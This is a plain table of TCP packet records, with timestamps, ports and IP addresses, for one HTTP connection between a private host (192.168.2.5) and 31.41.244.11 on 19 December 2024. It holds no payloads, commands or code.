Dec 19, 2024 03:09:16.681224108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.681303978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.681449890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.681514978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.681552887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.681613922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.682456017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.682512999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.682571888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.682629108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.683381081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.683443069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.683482885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.683538914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.684365034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.684417009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.684483051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.684534073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.685420990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.685475111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.685511112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.685566902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.686325073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.686377048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.686419964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.686472893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.687288046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.687342882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.687417030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.687469006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.688268900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.688322067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.688381910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.688435078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.689261913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.689316034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.689357996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.689410925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.690238953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.690294027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.690330029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.690383911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.691226959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.691302061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.691346884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.691405058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.692183018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.692236900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.692352057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.692404985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.693197966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.693250895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.693286896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.693341017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.694179058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.694235086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.694259882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.694313049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.695122004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.695171118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.695238113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.695291042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.696130991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.696187973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.696229935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.696285009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.697096109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.697150946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.697192907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.697247028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.698080063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.698137045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.698177099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.698231936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.699054003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.699107885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.699162006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.699217081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.700031996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.700088024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.700124979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.700180054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.701001883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.701056004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.701097012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.701150894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.702023029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.702075005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.702088118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.702141047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.702953100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.703008890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.703068972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.703125000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.703980923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.704035997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.704097986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.704150915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.704912901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.704971075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.705007076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.705060005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.705974102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.706028938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.706029892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.706084967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.706876040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.706931114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.706998110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.707050085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.707858086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.707912922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.707957029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.708009005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.708854914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.708908081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.708952904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.709007978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.709821939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.709876060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.709919930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.709971905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.710829973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.710882902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.710967064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.711018085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.711791992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.711870909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.711909056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.711963892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.712775946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.712829113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.712879896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.712935925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.713736057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.713788033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.713952065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.714004993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.714761972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.714817047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.714852095 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.714905977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.715698957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.715754986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.715823889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.715878010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.716799021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.716851950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.717014074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.717067957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.717700005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.717752934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.717824936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.717884064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.718666077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.718719006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.718758106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.718810081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.719605923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.719660997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.719753981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.719808102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.720839977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.720899105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.720947981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.721002102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.721602917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.721657991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.721714020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.721765995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.722558975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.722639084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.722672939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.722724915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.723531961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.723583937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.723647118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.723700047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.724529028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.724584103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.724643946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.724694014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.725493908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.725548983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.725606918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.725663900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.726481915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.726541996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.726587057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.726639986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.727458954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.727513075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.727569103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.727629900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.728435040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.728487968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.728533030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.728586912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.729403019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.729456902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.729511976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.729566097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.730391026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.730446100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.730489969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.730541945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.731375933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.731430054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.731473923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.731525898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.732348919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.732403994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.873579979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.873644114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.873743057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.873743057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.873986959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.874043941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.874145985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.874191999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.874965906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.875025988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.875071049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.875123978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.875957012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.876008034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.876060963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.876108885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.876945972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.877003908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.877042055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.877090931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.877919912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.877980947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.878045082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.878093958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.878916025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.878985882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.879000902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.879076004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.879859924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.879909039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.879951954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.880003929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.880836964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.880899906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.880997896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.881056070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.881815910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.881870985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.881941080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.881994009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.882786989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.882843971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.882936001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.882988930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.883775949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.883841991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.883887053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.883939028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.884777069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.884826899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.884864092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.884915113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.885740042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.885791063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.885833025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.885879993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.886694908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.886754036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.886789083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.886837006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.887697935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.887748957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.887799978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.887852907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.888658047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.888710976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.888804913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.888863087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.889642000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.889691114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.889797926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.889843941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.890681982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.890743017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.890789032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.890836954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.891590118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.891645908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.891716003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.891763926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.892592907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.892642021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.892698050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.892745972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.893579960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.893630981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.893699884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.893745899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.894545078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.894593000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.894658089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.894706011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.895556927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.895612955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.895658016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.895797014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.896498919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.896548986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.896639109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.896686077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.897483110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.897546053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.897618055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.897665977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.898467064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.898516893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.898549080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.898595095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.899483919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.899560928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.899605036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.899652004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.900456905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.900520086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.900561094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.900610924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.901436090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.901485920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.901571989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.901626110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.902374983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.902431011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.902493000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.902545929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.903389931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.903436899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.903511047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.903568983 CET	49835	80	192.168.2.5	31.41.244.11
